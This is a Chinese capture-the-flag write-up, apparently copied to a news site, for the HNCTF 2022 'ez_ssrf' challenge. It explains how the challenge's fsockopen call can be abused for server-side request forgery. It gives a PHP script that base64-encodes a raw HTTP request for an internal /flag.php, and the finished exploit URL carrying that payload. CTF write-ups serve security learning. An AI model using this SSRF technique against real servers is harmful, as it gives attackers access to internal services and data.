当前位置: 首页 > news >正文

[HNCTF 2022 WEEK2]ez_ssrf题目解析

这题主要是引入ssrf这个漏洞攻击,本质上没有更深入的考察

本题是需要我们去伪造一个ssrf的请求头去绕过

题目开始给了我们信息让我们去访问index.php

fsockopen函数触发ssrf

fsockopen() 函数建立与指定主机和端口的 socket 连接。然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。

通过了解知道fsockopen函数就要清楚有考察ssrf的意思,需要往这个方向去想

之后就是利用poc构建脚本

<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>

得到data,host为127.0.0.1,port为80

之后就是构建url

GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Close

用base64加密然后构建url编码

/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

http://www.lryc.cn/news/194919.html

相关文章:

  • OpenFOAM: twoPhaseEulerFoam解读
  • ffmpeg跨平台arm编译-ubuntu
  • Vue 网络处理 - axios 异步请求的使用,请求响应拦截器
  • 单目3D目标检测——MonoDLE 模型训练 | 模型推理
  • CSS悬停卡片翻转明信片效果源码附注释
  • 使用kaliber与imu_utils进行IMU、相机+IMU联合标定
  • 统一观测丨使用 Prometheus 监控 SQL Server 最佳实践
  • 最短无序连续子数组
  • 更新 | 持续开源迅为RK3568驱动指南第十二篇-GPIO子系统
  • centos7安装erlang23.3.4.11及rabbitmq3.9.16版本
  • VMware和Debian下载
  • mysql面试题48:MySQL中 Innodb的事务与日志的实现方式
  • 数据结构 优先级队列(堆)
  • 如何在edge浏览器中给PDF添加文字批注
  • 集成学习的小九九
  • 深入理解Scrapy
  • 想做WMS仓库管理系统,找了好久才找到云表
  • 公司销售个人号如何管理?
  • COLE HERSEE 48408 工业4.0、制造业X和元宇宙
  • 【Vue基础-数字大屏】加载动漫效果
  • CSS 样式简写
  • SQL Server创建数据库
  • 树莓派安装.NET 6.0
  • 小华HC32F448串口使用
  • Redis实现简易消息队列的三种方式
  • 基于SpringBoot的在线小说阅读平台系统
  • VMware Workstation 与 Hyper-V 不兼容。请先从系统中移除 Hyper-V 角色
  • uniapp h5 MD5加密
  • 2023_Spark_实验十八:安装FinalShell
  • 文件服务器管理服务器怎么设置